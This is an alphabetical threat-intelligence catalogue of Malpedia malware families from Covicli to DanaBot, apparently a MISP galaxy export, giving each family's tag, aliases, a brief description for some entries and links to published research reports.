https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html

https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html

Covicli

Covicli is a modified SSLeay32 dynamic library designated as a backdoor. The dynamic library allows the attacker to communicate with the C2 over openSSL.

The tag is: *misp-galaxy:malpedia="Covicli"*

Covicli is also known as:

- Covically

Table 1934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.covicli
https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf

Covid22

Destructive "joke" malware that ultimately deploys a wiper for the MBR.

The tag is: *misp-galaxy:malpedia="Covid22"*

Covid22 is also known as:

Table 1935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22
https://www.fortinet.com/blog/threat-research/to-joke-or-not-to-joke-covid-22-brings-disaster-to-mbr

CoViper

The tag is: *misp-galaxy:malpedia="CoViper"*

CoViper is also known as:

Table 1936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper
https://tccontre.blogspot.com/2020/04/covid19-malware-analysis-with-kill-mbr.html
https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/

crackshot

CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.

The tag is: *misp-galaxy:malpedia="crackshot"*

crackshot is also known as:

Table 1937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crackshot
https://content.fireeye.com/apt-41/rpt-apt41/

CradleCore

The tag is: *misp-galaxy:malpedia="CradleCore"*

CradleCore is also known as:

Table 1938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore

CRAT

According to Cisco Talos, CRAT is a remote access trojan with plugin capabilites, used by Lazarus since at least May 2020.

The tag is: *misp-galaxy:malpedia="CRAT"*

CRAT is also known as:

Table 1939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crat
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://suspected.tistory.com/269
https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg
https://www.secrss.com/articles/18635
https://blog.talosintelligence.com/2020/11/crat-and-plugins.html

CREAMSICLE

The tag is: *misp-galaxy:malpedia="CREAMSICLE"*

CREAMSICLE is also known as:

Table 1940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

CredoMap

The tag is: *misp-galaxy:malpedia="CredoMap"*

CredoMap is also known as:

Table 1941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cert.gov.ua/article/341128

Credraptor

The tag is: *misp-galaxy:malpedia="Credraptor"*

Credraptor is also known as:

Table 1942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

Crenufs

The tag is: *misp-galaxy:malpedia="Crenufs"*

Crenufs is also known as:

Table 1943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs

Crimson RAT

The tag is: *misp-galaxy:malpedia="Crimson RAT"*

Crimson RAT is also known as:

- SEEDOOR
- Scarimson

Table 1944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson
https://twitter.com/katechondic/status/1502206599166939137
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://s.tencent.com/research/report/669.html
https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1
https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/
https://www.secrss.com/articles/24995
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg
https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/
https://securelist.com/transparent-tribe-part-1/98127/
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://blog.yoroi.company/research/transparent-tribe-four-years-later
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf
https://twitter.com/teamcymru_S2/status/1501955802025836546

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf
https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east
https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/
https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/
https://twitter.com/teamcymru/status/1351228309632385027
https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
https://www.4hou.com/posts/vLzM
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF
https://securelist.com/transparent-tribe-part-2/98233/
https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/
https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/

CrimsonIAS

According to ThreatConnect, CrimsonIAS is a Delphi-written backdoor dating back to at least 2017. It enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only; making it different from typical Windows backdoors that beacons out.

The tag is: *misp-galaxy:malpedia="CrimsonIAS"*

CrimsonIAS is also known as:

Table 1945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimsonias
https://threatconnect.com/blog/crimsonias-listening-for-an-3v1l-user/

Cring

Ransomware.

The tag is: *misp-galaxy:malpedia="Cring"*

Cring is also known as:

Table 1946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cring
https://twitter.com/swisscom_csirt/status/1354052879158571008
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf
https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728
https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

CROSSWALK

According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.

The tag is: *misp-galaxy:malpedia="CROSSWALK"*

CROSSWALK is also known as:

- Motnug
- ProxIP
- TOMMYGUN

Table 1947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://securelist.com/apt-trends-report-q3-2020/99204/
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=8x-pGlWpIYI
https://thehackernews.com/2021/01/researchers-disclose-undocumented.html
https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/
https://www.youtube.com/watch?v=FttiysUZmDw
https://twitter.com/MrDanPerez/status/1159459082534825986
https://content.fireeye.com/apt-41/rpt-apt41/

Crutch

The tag is: *misp-galaxy:malpedia="Crutch"*

Crutch is also known as:

Table 1948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf

Cryakl

The tag is: *misp-galaxy:malpedia="Cryakl"*

Cryakl is also known as:

- CryLock

Table 1949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl
https://twitter.com/demonslay335/status/971164798376468481
https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/

https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://twitter.com/bartblaze/status/1305197264332369920
https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html
https://twitter.com/albertzsigovits/status/1217866089964679174
https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/
https://hackmag.com/security/ransomware-russian-style/
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/
https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/
https://www.telekom.com/en/blog/group/article/lockdata-auction-631300
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx]
https://securelist.com/cis-ransomware/104452/

CryLocker

The tag is: *misp-galaxy:malpedia="CryLocker"*

CryLocker is also known as:

Table 1950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker

CrypMic

The tag is: *misp-galaxy:malpedia="CrypMic"*

CrypMic is also known as:

Table 1951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic
https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

Crypt0l0cker

The tag is: *misp-galaxy:malpedia="Crypt0l0cker"*

Crypt0l0cker is also known as:

Table 1952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html

CryptBot

A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.

The tag is: *misp-galaxy:malpedia="CryptBot"*

CryptBot is also known as:

Table 1953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot
https://asec.ahnlab.com/en/26052/
https://asec.ahnlab.com/en/31683/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.mandiant.com/resources/russian-targeting-gov-business
https://experience.mandiant.com/trending-evil-2/p/1
https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/
https://asec.ahnlab.com/en/24423/
https://redcanary.com/wp-content/uploads/2021/12/KMSPico-V5.pdf
https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/
https://asec.ahnlab.com/en/35981/
https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger
https://fr3d.hk/blog/cryptbot-too-good-to-be-true

CrypticConvo

CrypticConvo is a dropper trojan which appears to be embedded in an automatic generator framework to deliver the FakeM trojan. According to PaloaltoNetworks CrypticConvo and several additional trojans are believed to be included in a meta framework used by the "Scarlet Mimic" threat actor in order to quickly evade AV systems.

The tag is: *misp-galaxy:malpedia="CrypticConvo"*

CrypticConvo is also known as:

Table 1954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo
https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/

CryptoDarkRubix

The tag is: *misp-galaxy:malpedia="CryptoDarkRubix"*

CryptoDarkRubix is also known as:

- Ranet

Table 1955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptodarkrubix
https://id-ransomware.blogspot.com/2020/03/cryptodarkrubix-ransomware.html

CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

The tag is: *misp-galaxy:malpedia="CryptoLocker"*

CryptoLocker is also known as:

Table 1956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/gold-evergreen
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://sites.temple.edu/care/ci-rw-attacks/
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.secureworks.com/research/cryptolocker-ransomware
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

CryptoLuck

The tag is: *misp-galaxy:malpedia="CryptoLuck"*

CryptoLuck is also known as:

Table 1957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/

CryptoMix

A variant of CryptoMix is win.clop.

The tag is: *misp-galaxy:malpedia="CryptoMix"*

CryptoMix is also known as:

- CryptFile2

Table 1958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/

CryptoPatronum

CryptoPatronum is a ransomware that encrypts user data through AES-256 (CBC) and it asks for BTC / ETH in order to get back the original files. In the ransom note there is not a title but only a reference to crsss.exe: its original file name. Once the files are encrypted, CryptoPatronum adds a .enc extension.

The tag is: *misp-galaxy:malpedia="CryptoPatronum"*

CryptoPatronum is also known as:

Table 1959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptopatronum
https://id-ransomware.blogspot.com/2020/01/cryptopatronum-ransomware.html

Cryptorium

The tag is: *misp-galaxy:malpedia="Cryptorium"*

Cryptorium is also known as:

Table 1960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptorium
https://twitter.com/struppigel/status/810770490491043840

CryptoShield

The tag is: *misp-galaxy:malpedia="CryptoShield"*

CryptoShield is also known as:

Table 1961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield
http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/

CryptoShuffler

The tag is: *misp-galaxy:malpedia="CryptoShuffler"*

CryptoShuffler is also known as:

Table 1962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler
https://www.bleepingcomputer.com/news/security/cryptoshuffler-stole-150-000-by-replacing-bitcoin-wallet-ids-in-pc-clipboards/

Cryptowall

The tag is: *misp-galaxy:malpedia="Cryptowall"*

Cryptowall is also known as:

Table 1963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall
https://sites.temple.edu/care/ci-rw-attacks/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f

CryptoWire

The tag is: *misp-galaxy:malpedia="CryptoWire"*

CryptoWire is also known as:

Table 1964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

CryptoFortress

The tag is: *misp-galaxy:malpedia="CryptoFortress"*

CryptoFortress is also known as:

Table 1965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress
https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/
http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html

CryptoRansomeware

The tag is: *misp-galaxy:malpedia="CryptoRansomeware"*

CryptoRansomeware is also known as:

Table 1966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_ransomeware
https://twitter.com/JaromirHorejsi/status/818369717371027456

CryptXXXX

The tag is: *misp-galaxy:malpedia="CryptXXXX"*

CryptXXXX is also known as:

Table 1967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx
https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

CsExt

The tag is: *misp-galaxy:malpedia="CsExt"*

CsExt is also known as:

Table 1968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.csext
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

CTB Locker

The tag is: *misp-galaxy:malpedia="CTB Locker"*

CTB Locker is also known as:

Table 1969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://samvartaka.github.io/malware/2015/11/20/ctb-locker

Cuba

Ransomware.

The tag is: *misp-galaxy:malpedia="Cuba"*

Cuba is also known as:

- COLDDRAW

Table 1970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/
https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group+-on+a+roll.pdf[https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group-+on+a+roll.pdf]
https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.it-connect.fr/le-ransomware-cuba-sen-prend-aux-serveurs-exchange/
https://www.mandiant.com/resources/unc2596-cuba-ransomware
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis

https://www.fortinet.com/blog/threat-research/ransomware-roundup-gwisin-kriptor-cuba-and-more
https://www.ic3.gov/Media/News/2021/211203-2.pdf
https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware
https://lab52.io/blog/cuba-ransomware-analysis/
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html
https://blog.group-ib.com/hancitor-cuba-ransomware

Cuegoe

The tag is: *misp-galaxy:malpedia="Cuegoe"*

Cuegoe is also known as:

Table 1971. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe
https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal
http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Cueisfry

The tag is: *misp-galaxy:malpedia="Cueisfry"*

Cueisfry is also known as:

Table 1972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry
https://www.secureworks.com/blog/apt-campaign-leverages-the-cueisfry-trojan-and-microsoft-word-vulnerability-cve-2014-1761

Curator

Profero describes this as a ransomware family using CryptoPP as library to enable file encryption with the Salsa20 algorithm and protecting the encryption keys with RSA2048.

The tag is: *misp-galaxy:malpedia="Curator"*

Curator is also known as:

- Ever101

Table 1973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.curator
https://shared-public-reports.s3.eu-west-1.amazonaws.com/Secrets_behind_the_mysterious_ever101_ransomware.pdf

Cursed Murderer

Ransomware.

The tag is: *misp-galaxy:malpedia="Cursed Murderer"*

Cursed Murderer is also known as:

Table 1974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cursed_murderer
https://id-ransomware.blogspot.com/2020/01/thecursedmurderer-ransomware.html

Cutlet

The tag is: *misp-galaxy:malpedia="Cutlet"*

Cutlet is also known as:

Table 1975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://explore.group-ib.com/htct/hi-tech_crime_2018
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html

Cutwail

The tag is: *misp-galaxy:malpedia="Cutwail"*

Cutwail is also known as:

Table 1976. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt
https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/
https://www.mimecast.com/blog/how-to-slam-a-door-on-the-cutwail-botnet-enforce-dmarc/
http://www.secureworks.com/research/threat-profiles/gold-essex
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://darknetdiaries.com/episode/110/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://www.secureworks.com/research/threat-profiles/gold-essex
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/

CyberGate

According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to the victim's system. Attackers can remotely connect to the compromised system from anywhere around the world. The Malware author generally uses this program to steal private information like passwords, files, etc. It might also be used to install malicious software on the compromised systems.

The tag is: *misp-galaxy:malpedia="CyberGate"*

CyberGate is also known as:

- Rebhip

Table 1977. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate

https://citizenlab.ca/2015/12/packrat-report/
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://blog.reversinglabs.com/blog/rats-in-the-library
https://www.subexsecure.com/pdf/malware-reports/2021-05/cybergate-threat-report.pdf
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns

CyberSplitter

The tag is: *misp-galaxy:malpedia="CyberSplitter"*

CyberSplitter is also known as:

Table 1978. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter

CycBot

The tag is: *misp-galaxy:malpedia="CycBot"*

CycBot is also known as:

Table 1979. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/

Cyrat

Ransomware.

The tag is: *misp-galaxy:malpedia="Cyrat"*

Cyrat is also known as:

Table 1980. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyrat
https://www.gdatasoftware.com/blog/cyrat-ransomware
https://id-ransomware.blogspot.com/2020/08/cyrat-ransomware.html

cysxl

The tag is: *misp-galaxy:malpedia="cysxl"*

cysxl is also known as:

Table 1981. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cysxl
https://www.enigmasoftware.com/bkdrcysxla-removal/

Dacls (Windows)

The tag is: *misp-galaxy:malpedia="Dacls (Windows)"*

Dacls (Windows) is also known as:

- MATA

Table 1982. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dacls
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://blog.netlab.360.com/dacls-the-dual-platform-rat/
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/
https://www.sygnia.co/mata-framework
https://securelist.com/apt-trends-report-q2-2020/97937/
https://malwareandstuff.com/peb-where-magic-is-stored/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

DADJOKE

DADJOKE was discovered as being distributed via email, targeting a South-East Asian Ministry of Defense. It is delivered as an embedded EXE file in a Word document using remote templates and a unique macro using multiple GET requests. The payload is deployed using load-order hijacking with a benign Windows Defender executable. Stage 1 has only beacon+download functionality, made to look like a PNG file. Additional analysis by Kaspersky found 8 campaigns over 2019 and no activity prior to January 2019, DADJOKE is attributed with medium confidence to APT40.

The tag is: *misp-galaxy:malpedia="DADJOKE"*

DADJOKE is also known as:

Table 1983. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke
https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/
https://twitter.com/ClearskySec/status/1110941178231484417
https://www.youtube.com/watch?v=vx9IB88wXSE
https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts
https://twitter.com/a_tweeter_user/status/1154764787823316993
https://medium.com/@Sebdraven/apt-40-in-malaysia-61ed9c9642e9

DADSTACHE

The tag is: *misp-galaxy:malpedia="DADSTACHE"*

DADSTACHE is also known as:

Table 1984. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache
https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a
https://twitter.com/killamjr/status/1204584085395517440
https://medium.com/insomniacs/apt40-goes-from-template-injections-to-ole-linkings-for-payload-delivery-99eb43170a97
https://twitter.com/cyb3rops/status/1199978327697694720
https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html
https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign

Dairy

The tag is: *misp-galaxy:malpedia="Dairy"*

Dairy is also known as:

Table 1985. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

The tag is: *misp-galaxy:malpedia="DanaBot"*

DanaBot is also known as:

Table 1986. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://research.checkpoint.com/danabot-demands-a-ransom-payment/
https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense
